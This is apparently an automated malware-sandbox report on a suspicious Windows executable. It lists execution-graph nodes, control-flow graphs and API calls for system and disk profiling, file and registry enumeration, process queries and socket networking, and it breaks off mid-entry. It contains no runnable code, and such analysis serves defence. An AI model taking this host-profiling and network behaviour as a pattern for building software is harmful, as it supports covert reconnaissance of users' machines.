                                                          MD5 hash:9A9A0A2D9375D6F207AF97DF95E0762F
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:low
                                                          Has exited:true

                                                          Disassembly

                                                          Reset < >

                                                            Execution Graph

                                                            Execution Coverage:3.1%
                                                            Dynamic/Decrypted Code Coverage:20.4%
                                                            Signature Coverage:16.4%
                                                            Total number of Nodes:348
                                                            Total number of Limit Nodes:47
                                                            execution_graph 68751 62d5e0 68752 62d652 WSAStartup 68751->68752 68753 62d5f0 68751->68753 68752->68753 68915 64b400 68916 64b425 68915->68916 68917 64b40b 68915->68917 68920 617770 68917->68920 68918 64b421 68921 617790 68920->68921 68922 6177b6 recv 68920->68922 68921->68922 68923 617799 68921->68923 68922->68923 68923->68918 68924 64e400 68925 64e412 68924->68925 68927 64e459 68924->68927 68928 6468b0 socket ioctlsocket connect getsockname closesocket 68925->68928 68928->68927 68929 64b3c0 68930 64b3ee 68929->68930 68931 64b3cb 68929->68931 68935 6176a0 68931->68935 68939 649290 68931->68939 68932 64b3ea 68936 6176c0 68935->68936 68937 6176e6 send 68935->68937 68936->68937 68938 6176c9 68936->68938 68937->68938 68938->68932 68940 6176a0 send 68939->68940 68941 6492e5 68940->68941 68942 649392 68941->68942 68943 649335 WSAIoctl 68941->68943 68942->68932 68943->68942 68944 649366 68943->68944 68944->68942 68945 649371 setsockopt 68944->68945 68945->68942 68754 6c4720 68758 6c4728 68754->68758 68755 6c4733 68757 6c4774 68758->68755 68765 6c476c 68758->68765 68766 6c5540 socket ioctlsocket connect getsockname closesocket 68758->68766 68760 6c482e 68760->68765 68767 6c9270 68760->68767 68762 6c4860 68772 6c4950 68762->68772 68764 6c4878 68765->68764 68780 6c30a0 socket ioctlsocket connect getsockname closesocket 68765->68780 68766->68760 68781 6ca440 68767->68781 68769 6c92ab 68769->68762 68770 6c9297 68770->68769 68820 6cbbe0 socket ioctlsocket connect getsockname closesocket 68770->68820 68773 6c4966 68772->68773 68777 6c49c5 68773->68777 68779 6c49b9 68773->68779 68822 6cb590 if_nametoindex 68773->68822 68775 6c4aa0 gethostname 68775->68777 68775->68779 68776 6c4a3e 68776->68777 68823 6cbbe0 socket ioctlsocket connect getsockname closesocket 68776->68823 68777->68765 68779->68775 68779->68777 68780->68757 68782 6ca46b 68781->68782 68784 6ca4db 68782->68784 68785 6ca48b GetAdaptersAddresses 68782->68785 68783 6caa03 RegOpenKeyExA 68786 6caa27 RegQueryValueExA 68783->68786 68787 6cab70 RegOpenKeyExA 68783->68787 68784->68783 68803 6cad14 68784->68803 68799 6ca4a6 68785->68799 68817 6ca53f 68785->68817 68788 6caacc RegQueryValueExA 68786->68788 68789 6caa71 68786->68789 68790 6cac34 RegOpenKeyExA 68787->68790 68813 6cab90 68787->68813 68791 6cab0e 68788->68791 68792 6cab66 RegCloseKey 68788->68792 68789->68788 68797 6caa85 RegQueryValueExA 68789->68797 68793 6cacf8 RegOpenKeyExA 68790->68793 68815 6cac54 68790->68815 68791->68792 68800 6cab1e RegQueryValueExA 68791->68800 68792->68787 68794 6cad56 RegEnumKeyExA 68793->68794 68793->68803 68796 6cad9b 68794->68796 68794->68803 68795 6ca4f3 GetAdaptersAddresses 68801 6ca505 68795->68801 68795->68817 68798 6cae16 RegOpenKeyExA 68796->68798 68807 6caab3 68797->68807 68804 6caddf RegEnumKeyExA 68798->68804 68805 6cae34 RegQueryValueExA 68798->68805 68799->68795 68818 6ca520 68799->68818 68810 6cab4c 68800->68810 68802 6ca527 GetAdaptersAddresses 68801->68802 68801->68818 68802->68817 68802->68818 68803->68770 68804->68798 68804->68803 68808 6caf43 RegQueryValueExA 68805->68808 68819 6cadaa 68805->68819 68807->68788 68809 6cb052 RegQueryValueExA 68808->68809 68808->68819 68812 6cadc7 RegCloseKey 68809->68812 68809->68819 68810->68792 68811 6ca794 GetBestRoute2 68811->68817 68812->68804 68813->68790 68814 6cafa0 RegQueryValueExA 68814->68819 68815->68793 68816 6ca6c7 GetBestRoute2 68816->68817 68817->68811 68817->68816 68817->68818 68818->68784 68821 6cb830 if_nametoindex 68818->68821 68819->68808 68819->68809 68819->68812 68819->68814 68820->68769 68821->68784 68822->68776 68823->68779 68946 6c3c00 68947 6c3c23 68946->68947 68949 6c3c0d 68946->68949 68947->68949 68950 6db180 68947->68950 68953 6db19b 68950->68953 68957 6db2e3 68950->68957 68954 6db2a9 getsockname 68953->68954 68956 6db020 closesocket 68953->68956 68953->68957 68958 6daf30 68953->68958 68962 6db060 68953->68962 68967 6db020 68954->68967 68956->68953 68957->68949 68959 6daf4c 68958->68959 68960 6daf63 socket 68958->68960 68959->68960 68961 6daf52 68959->68961 68960->68953 68961->68953 68966 6db080 68962->68966 68963 6db0b0 connect 68964 6db0bf WSAGetLastError 68963->68964 68965 6db0ea 68964->68965 68964->68966 68965->68953 68966->68963 68966->68964 68966->68965 68968 6db029 68967->68968 68969 6db052 68967->68969 68970 6db04b closesocket 68968->68970 68971 6db03e 68968->68971 68969->68953 68970->68969 68971->68953 68972 6da080 68975 6d9740 68972->68975 68974 6da09b 68976 6d9780 68975->68976 68980 6d975d 68975->68980 68977 6d9925 RegOpenKeyExA 68976->68977 68976->68980 68978 6d995a RegQueryValueExA 68977->68978 68977->68980 68979 6d9986 RegCloseKey 68978->68979 68979->68980 68980->68974 68824 6495b0 68825 6495fd 68824->68825 68826 6495c8 68824->68826 68826->68825 68828 64a150 68826->68828 68829 64a15f 68828->68829 68831 64a1d0 68828->68831 68830 64a181 getsockname 68829->68830 68829->68831 68830->68831 68831->68825 68832 646ab0 68833 646ad5 68832->68833 68834 646bb4 68833->68834 68841 626fa0 68833->68841 68835 6c5ed0 7 API calls 68834->68835 68837 646ba9 68835->68837 68838 646b54 68838->68834 68838->68837 68839 646b5d 68838->68839 68839->68837 68845 6c5ed0 68839->68845 68842 626fd4 68841->68842 68844 626feb 68841->68844 68843 627207 select 68842->68843 68842->68844 68843->68844 68844->68838 68848 6c5a50 68845->68848 68847 6c5ee5 68847->68839 68849 6c5a58 68848->68849 68853 6c5ea0 68848->68853 68850 6c5b50 68849->68850 68860 6c5b88 68849->68860 68862 6c5a99 68849->68862 68854 6c5b7a 68850->68854 68855 6c5eb4 68850->68855 68850->68860 68851 6c5e96 68881 6d9480 socket ioctlsocket connect getsockname closesocket 68851->68881 68853->68847 68871 6c70a0 68854->68871 68882 6c6f10 socket ioctlsocket connect getsockname closesocket 68855->68882 68859 6c5ec2 68859->68859 68865 6c5cae 68860->68865 68879 6c5ef0 socket ioctlsocket connect getsockname 68860->68879 68862->68860 68863 6c70a0 6 API calls 68862->68863 68878 6c6f10 socket ioctlsocket connect getsockname closesocket 68862->68878 68863->68862 68865->68851 68867 6da920 68865->68867 68880 6d9320 socket ioctlsocket connect getsockname closesocket 68865->68880 68868 6da944 68867->68868 68869 6da94b 68868->68869 68870 6da977 send 68868->68870 68869->68865 68870->68865 68875 6c70ae 68871->68875 68873 6c71a7 68873->68860 68874 6c717f 68874->68873 68888 6d9320 socket ioctlsocket connect getsockname closesocket 68874->68888 68875->68873 68875->68874 68883 6da8c0 68875->68883 68887 6c71c0 socket ioctlsocket connect getsockname 68875->68887 68878->68862 68879->68860 68880->68865 68881->68853 68882->68859 68884 6da8e6 68883->68884 68885 6da903 recvfrom 68883->68885 68884->68885 68886 6da8ed 68884->68886 68885->68886 68886->68875 68887->68875 68888->68873 68981 648b50 68982 648b6b 68981->68982 68999 648bb5 68981->68999 68983 648bf3 68982->68983 68984 648b8f 68982->68984 68982->68999 69001 64a550 68983->69001 69016 626e40 select 68984->69016 68987 648bfc 68991 648c35 68987->68991 68992 648c1f connect 68987->68992 68998 648cb2 68987->68998 68987->68999 68988 648cd9 SleepEx getsockopt 68989 648d18 68988->68989 68993 648d43 68989->68993 68989->68998 68990 64a150 getsockname 68997 648dff 68990->68997 68995 64a150 getsockname 68991->68995 68992->68991 68996 64a150 getsockname 68993->68996 69000 648ba1 68995->69000 68996->68999 68997->68999 69017 6178b0 closesocket 68997->69017 68998->68990 68998->68997 68998->68999 69000->68988 69000->68998 69000->68999 69002 64a575 69001->69002 69005 64a597 69002->69005 69019 6175e0 69002->69019 69004 6178b0 closesocket 69007 64a713 69004->69007 69006 64a811 setsockopt 69005->69006 69008 64a69b 69005->69008 69009 64a83b 69005->69009 69006->69009 69007->68987 69008->69004 69008->69007 69009->69008 69015 64abe1 69009->69015 69025 646be0 8 API calls 69009->69025 69011 64af56 69011->69008 69012 64af5d 69011->69012 69012->69007 69013 64a150 getsockname 69012->69013 69013->69007 69015->69008 69024 6767e0 ioctlsocket 69015->69024 69016->69000 69018 6178c5 69017->69018 69018->68999 69020 617607 socket 69019->69020 69021 6175ef 69019->69021 69022 61762b 69020->69022 69021->69020 69023 617643 69021->69023 69022->69005 69023->69005 69024->69011 69025->69015 69026 612f17 69030 612f2c 69026->69030 69027 6131d3 69028 612fb3 RegOpenKeyExA 69028->69030 69029 61315c RegEnumKeyExA 69029->69030 69030->69027 69030->69028 69030->69029 69031 613046 RegOpenKeyExA 69030->69031 69033 61313b RegCloseKey 69030->69033 69031->69030 69032 613089 RegQueryValueExA 69031->69032 69032->69030 69032->69033 69033->69030 69034 6131d7 69037 6131f4 69034->69037 69035 613200 69036 6132dc CloseHandle 69036->69035 69037->69035 69037->69036 68889 73808af 68890 73808c8 Process32FirstW 68889->68890 68891 73808ce 68890->68891 68892 99b180 Sleep 68893 621139 68894 621148 68893->68894 68896 621527 68894->68896 68899 620f00 68894->68899 68901 61fec0 6 API calls 68894->68901 68896->68899 68902 6222d0 6 API calls 68896->68902 68898 620f7b 68899->68898 68903 64d4d0 socket ioctlsocket connect getsockname closesocket 68899->68903 68901->68896 68902->68899 68903->68899 69038 61255d 69077 999f70 69038->69077 69041 612589 69042 6125a0 GlobalMemoryStatusEx 69041->69042 69043 6125ec 69042->69043 69049 61261b 69043->69049 69079 7340c75 69043->69079 69083 7340bab 69043->69083 69087 7340d28 69043->69087 69091 7340d0b 69043->69091 69095 7340b6e 69043->69095 69099 7340aae 69043->69099 69103 7340b8d 69043->69103 69107 7340cde 69043->69107 69111 7340c2e 69043->69111 69115 7340bc2 69043->69115 69119 7340ccd 69043->69119 69123 7340c04 69043->69123 69127 7340be1 69043->69127 69131 7340d3b 69043->69131 69135 7340b1b 69043->69135 69139 7340b56 69043->69139 69143 7340ab9 69043->69143 69147 7340c52 69043->69147 69151 7340c5c 69043->69151 69155 7340c95 69043->69155 69159 7340cf1 69043->69159 69163 73409f5 69043->69163 69044 612762 69047 6127d6 KiUserCallbackDispatcher 69044->69047 69045 61263c GetDriveTypeA 69046 612655 GetDiskFreeSpaceExA 69045->69046 69045->69049 69046->69049 69048 6127f8 69047->69048 69050 612842 SHGetKnownFolderPath 69048->69050 69049->69044 69049->69045 69051 6128c3 69050->69051 69052 6128d9 FindFirstFileW 69051->69052 69053 612906 FindNextFileW 69052->69053 69054 612928 69052->69054 69053->69053 69053->69054 69078 61256c GetSystemInfo 69077->69078 69078->69041 69080 7340c9c GetLogicalDrives 69079->69080 69082 7340d95 69080->69082 69084 7340bb4 GetLogicalDrives 69083->69084 69086 7340d95 69084->69086 69088 7340d31 GetLogicalDrives 69087->69088 69090 7340d95 69088->69090 69092 7340c77 GetLogicalDrives 69091->69092 69094 7340d95 69092->69094 69096 7340ba0 GetLogicalDrives 69095->69096 69098 7340d95 69096->69098 69100 7340aaf GetLogicalDrives 69099->69100 69102 7340d95 69100->69102 69104 7340b90 GetLogicalDrives 69103->69104 69106 7340d95 69104->69106 69108 7340cec GetLogicalDrives 69107->69108 69110 7340d95 69108->69110 69112 7340c54 GetLogicalDrives 69111->69112 69114 7340d95 69112->69114 69116 7340b5f GetLogicalDrives 69115->69116 69118 7340d95 69116->69118 69120 7340cd3 GetLogicalDrives 69119->69120 69122 7340d95 69120->69122 69124 7340c33 GetLogicalDrives 69123->69124 69126 7340d95 69124->69126 69128 7340ba6 GetLogicalDrives 69127->69128 69130 7340d95 69128->69130 69132 7340d56 GetLogicalDrives 69131->69132 69134 7340d95 69132->69134 69136 7340b65 GetLogicalDrives 69135->69136 69138 7340d95 69136->69138 69140 7340b7f GetLogicalDrives 69139->69140 69142 7340d95 69140->69142 69144 7340aaf GetLogicalDrives 69143->69144 69146 7340d95 69144->69146 69148 7340c6e GetLogicalDrives 69147->69148 69150 7340d95 69148->69150 69152 7340c68 GetLogicalDrives 69151->69152 69154 7340d95 69152->69154 69156 7340c9c GetLogicalDrives 69155->69156 69158 7340d95 69156->69158 69160 7340c7b GetLogicalDrives 69159->69160 69162 7340d95 69160->69162 69164 7340a3f 69163->69164 69165 7340aae GetLogicalDrives 69164->69165 69166 7340a9c GetLogicalDrives 69164->69166 69165->69166 69168 7340d95 69166->69168 68904 6129ff FindFirstFileA 68905 612a31 68904->68905 68906 612a5c RegOpenKeyExA 68905->68906 68907 612a93 68906->68907 68908 612ade CharUpperA 68907->68908 68909 612b0a 68908->68909 68910 612bf9 QueryFullProcessImageNameA 68909->68910 68911 612c3b CloseHandle 68910->68911 68913 612c64 68911->68913 68912 612df1 CloseHandle 68914 612e23 68912->68914 68913->68912 69169 613d5e 69170 613d30 69169->69170 69170->69169 69171 613d90 69170->69171 69175 620ab0 69170->69175 69178 61fcb0 6 API calls 69171->69178 69174 613dc1 69179 6205b0 69175->69179 69177 620acd 69177->69170 69178->69174 69180 6205bd 69179->69180 69182 6207c7 69179->69182 69181 620707 WSAEventSelect 69180->69181 69180->69182 69183 6207ef 69180->69183 69185 6176a0 send 69180->69185 69181->69180 69181->69182 69182->69177 69183->69182 69184 626fa0 select 69183->69184 69188 620847 69183->69188 69184->69188 69185->69180 69186 6209e8 WSAEnumNetworkEvents 69187 6209d0 WSAEventSelect 69186->69187 69186->69188 69187->69186 69187->69188 69188->69182 69188->69186 69188->69187

                                                            Executed Functions

                                                            Function 0061255D Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 282fileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 500 61255d-612614 call 999f70 GetSystemInfo call a99af0 call a99ce0 GlobalMemoryStatusEx call a99af0 call a99ce0 580 612619 call 7340c75 500->580 581 612619 call 7340c95 500->581 582 612619 call 73409f5 500->582 583 612619 call 7340b56 500->583 584 612619 call 7340cf1 500->584 585 612619 call 7340c52 500->585 586 612619 call 7340c5c 500->586 587 612619 call 7340cde 500->587 588 612619 call 7340ab9 500->588 589 612619 call 7340d3b 500->589 590 612619 call 7340d5b 500->590 591 612619 call 7340b1b 500->591 592 612619 call 7340c04 500->592 593 612619 call 7340be1 500->593 594 612619 call 7340bc2 500->594 595 612619 call 7340ccd 500->595 596 612619 call 7340b8d 500->596 597 612619 call 7340c2e 500->597 598 612619 call 7340b6e 500->598 599 612619 call 7340aae 500->599 600 612619 call 7340d28 500->600 601 612619 call 7340d0b 500->601 602 612619 call 7340bab 500->602 511 61261b-612620 512 612626-612637 call a998f0 511->512 513 61277c-612904 call a99af0 call a99ce0 KiUserCallbackDispatcher call a99af0 call a99ce0 call a99af0 call a99ce0 SHGetKnownFolderPath call 998be0 call 998bd0 FindFirstFileW 511->513 518 612754-61275c 512->518 557 612906-612926 FindNextFileW 513->557 558 612928-61292c 513->558 520 612762-612777 call a99ce0 518->520 521 61263c-61264f GetDriveTypeA 518->521 520->513 523 612743-612751 call 998b98 521->523 524 612655-612685 GetDiskFreeSpaceExA 521->524 523->518 524->523 527 61268b-61273e call a99bc0 call a99c50 call a99ce0 call a999e0 call a99ce0 call a999e0 call a99ce0 call a98050 524->527 527->523 557->557 557->558 560 612932-61296f call a99af0 call a99ce0 call 998e78 558->560 561 61292e 558->561 567 612974-612979 560->567 561->560 568 6129a9-6129fe call 99a2b0 call a99af0 call a99ce0 567->568 569 61297b-6129a4 call a99af0 call a99ce0 567->569 569->568 580->511 581->511 582->511 583->511 584->511 585->511 586->511 587->511 588->511 589->511 590->511 591->511 592->511 593->511 594->511 595->511 596->511 597->511 598->511 599->511 600->511 601->511 602->511
                                                            APIs
                                                            • GetSystemInfo.KERNELBASE ref: 00612579
                                                            • GlobalMemoryStatusEx.KERNELBASE ref: 006125CC
                                                            • GetDriveTypeA.KERNELBASE ref: 00612647
                                                            • GetDiskFreeSpaceExA.KERNELBASE ref: 0061267E
                                                            • KiUserCallbackDispatcher.NTDLL ref: 006127E2
                                                            • SHGetKnownFolderPath.SHELL32 ref: 0061286D
                                                            • FindFirstFileW.KERNELBASE ref: 006128F8
                                                            • FindNextFileW.KERNELBASE ref: 0061291F
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: FileFind$CallbackDiskDispatcherDriveFirstFolderFreeGlobalInfoKnownMemoryNextPathSpaceStatusSystemTypeUser
                                                            • String ID: ;%a$@$`
                                                            • API String ID: 2066228396-3896571279
                                                            • Opcode ID: 26207c465c059fcace66d0a7edf1e7514ace1f6de7cd191a2496d8515a505253
                                                            • Instruction ID: b26e7e323ba5606148a486b1b7a92e44ce470623457b7e54e11c7979b85b321a
                                                            • Opcode Fuzzy Hash: 26207c465c059fcace66d0a7edf1e7514ace1f6de7cd191a2496d8515a505253
                                                            • Instruction Fuzzy Hash: 85D185B49093199FCB10EFA8C98569EBBF0FF44354F00896DE89897351E7749A84CF92
                                                            Function 006129FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1024 6129ff-612a2f FindFirstFileA 1025 612a31-612a36 1024->1025 1026 612a38 1024->1026 1027 612a3d-612a91 call a99c50 call a99ce0 RegOpenKeyExA 1025->1027 1026->1027 1032 612a93-612a98 1027->1032 1033 612a9a 1027->1033 1034 612a9f-612b0c call a99c50 call a99ce0 CharUpperA call 998da0 1032->1034 1033->1034 1042 612b15 1034->1042 1043 612b0e-612b13 1034->1043 1044 612b1a-612b92 call a99c50 call a99ce0 call 998e80 call 998e70 1042->1044 1043->1044 1053 612b94-612ba3 1044->1053 1054 612bcc-612c66 QueryFullProcessImageNameA CloseHandle call 998da0 1044->1054 1057 612bb0-612bca call 998e68 1053->1057 1058 612ba5-612bae 1053->1058 1064 612c68-612c6d 1054->1064 1065 612c6f 1054->1065 1057->1053 1057->1054 1058->1054 1066 612c74-612ce9 call a99c50 call a99ce0 call 998e80 call 998e70 1064->1066 1065->1066 1075 612dcf-612e1c call a99c50 call a99ce0 CloseHandle 1066->1075 1076 612cef-612d49 call 998bb0 call 998da0 1066->1076 1117 612e21 call 73c0d8f 1075->1117 1118 612e21 call 73c0e59 1075->1118 1119 612e21 call 73c0d2a 1075->1119 1120 612e21 call 73c0e16 1075->1120 1121 612e21 call 73c0df0 1075->1121 1122 612e21 call 73c0e41 1075->1122 1123 612e21 call 73c0de1 1075->1123 1124 612e21 call 73c0d23 1075->1124 1087 612d99-612dad 1076->1087 1088 612d4b-612d63 call 998da0 1076->1088 1086 612e23-612e2e 1089 612e30-612e35 1086->1089 1090 612e37 1086->1090 1087->1075 1088->1087 1096 612d65-612d7d call 998da0 1088->1096 1092 612e3c-612ed6 call a99c50 call a99ce0 1089->1092 1090->1092 1105 612ed8-612ee1 1092->1105 1106 612eea 1092->1106 1096->1087 1102 612d7f-612d97 call 998da0 1096->1102 1102->1087 1110 612daf-612dc9 call 998e68 1102->1110 1105->1106 1108 612ee3-612ee8 1105->1108 1109 612eef-612f16 call a99c50 call a99ce0 1106->1109 1108->1109 1110->1075 1110->1076 1117->1086 1118->1086 1119->1086 1120->1086 1121->1086 1122->1086 1123->1086 1124->1086
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                                            • String ID: 0
                                                            • API String ID: 2406880114-4108050209
                                                            • Opcode ID: 83580691420eb4c79b3b925bd4b9a2534513f39d7cc46029278299d6bb9f2e33
                                                            • Instruction ID: d5ce9653e5ee654600c207ae6ded7121c942f254511f05aa4a4ea06ae0bd4e49
                                                            • Opcode Fuzzy Hash: 83580691420eb4c79b3b925bd4b9a2534513f39d7cc46029278299d6bb9f2e33
                                                            • Instruction Fuzzy Hash: 68E1D9B490830A9FCB50EF68D99579EBBF5AF44304F0089ADE488DB350E7749994CF42
                                                            Function 006205B0 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 377networkCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1178 6205b0-6205b7 1179 6207ee 1178->1179 1180 6205bd-6205d4 1178->1180 1181 6207e7-6207ed 1180->1181 1182 6205da-6205e6 1180->1182 1181->1179 1182->1181 1183 6205ec-6205f0 1182->1183 1184 6205f6-620620 call 627350 call 6170b0 1183->1184 1185 6207c7-6207cc 1183->1185 1190 620622-620624 1184->1190 1191 62066a-62068c call 64dec0 1184->1191 1185->1181 1193 620630-620655 call 6170d0 call 6203c0 call 627450 1190->1193 1196 620692-6206a0 1191->1196 1197 6207d6-6207e3 call 627380 1191->1197 1217 62065b-620668 call 6170e0 1193->1217 1218 6207ce 1193->1218 1200 6206a2-6206a4 1196->1200 1201 6206f4-6206f6 1196->1201 1197->1181 1207 6206b0-6206e4 call 6273b0 1200->1207 1204 6207ef-62082b call 623000 1201->1204 1205 6206fc-6206fe 1201->1205 1221 620831-620837 1204->1221 1222 620a2f-620a35 1204->1222 1209 62072c-620754 1205->1209 1207->1197 1223 6206ea-6206ee 1207->1223 1213 620756-62075b 1209->1213 1214 62075f-62078b 1209->1214 1219 620707-620719 WSAEventSelect 1213->1219 1220 62075d 1213->1220 1235 620700-620703 1214->1235 1236 620791-620796 1214->1236 1217->1191 1217->1193 1218->1197 1219->1197 1227 62071f 1219->1227 1228 620723-620726 1220->1228 1230 620861-62087e 1221->1230 1231 620839-62084c call 626fa0 1221->1231 1224 620a37-620a3a 1222->1224 1225 620a3c-620a52 1222->1225 1223->1207 1232 6206f0 1223->1232 1224->1225 1225->1197 1233 620a58-620a81 call 622f10 1225->1233 1227->1228 1228->1204 1228->1209 1242 620882-62088d 1230->1242 1245 620852 1231->1245 1246 620a9c-620aa4 1231->1246 1232->1201 1233->1197 1249 620a87-620a97 call 626df0 1233->1249 1235->1219 1236->1235 1240 62079c-6207c2 call 6176a0 1236->1240 1240->1235 1247 620893-6208b1 1242->1247 1248 620970-620975 1242->1248 1245->1230 1251 620854-62085f 1245->1251 1246->1197 1254 6208c8-6208f7 1247->1254 1252 62097b-620989 call 6170b0 1248->1252 1253 620a19-620a2c 1248->1253 1249->1197 1251->1242 1252->1253 1261 62098f-62099e 1252->1261 1253->1222 1262 6208f9-6208fb 1254->1262 1263 6208fd-620925 1254->1263 1264 6209b0-6209c1 call 6170d0 1261->1264 1265 620928-62093f 1262->1265 1263->1265 1269 6209c3-6209c7 1264->1269 1270 6209a0-6209ae call 6170e0 1264->1270 1271 6208b3-6208c2 1265->1271 1272 620945-62096b 1265->1272 1274 6209e8-620a03 WSAEnumNetworkEvents 1269->1274 1270->1253 1270->1264 1271->1248 1271->1254 1272->1271 1276 6209d0-6209e6 WSAEventSelect 1274->1276 1277 620a05-620a17 1274->1277 1276->1270 1276->1274 1277->1276
                                                            APIs
                                                            • WSAEventSelect.WS2_32(?,?,?), ref: 00620712
                                                            • WSAEventSelect.WS2_32(?,?,00000000), ref: 006209DC
                                                            • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 006209FB
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: EventSelect$EnumEventsNetwork
                                                            • String ID: N=a$multi.c
                                                            • API String ID: 2170980988-3577456247
                                                            • Opcode ID: 99c641803c1740c881a45c1e30da9c038e179627b0a09c89e04e24af292983c8
                                                            • Instruction ID: 6dfac7890888f1e99eecb07c06d20b2283de1791bef77d442882a2623f253092
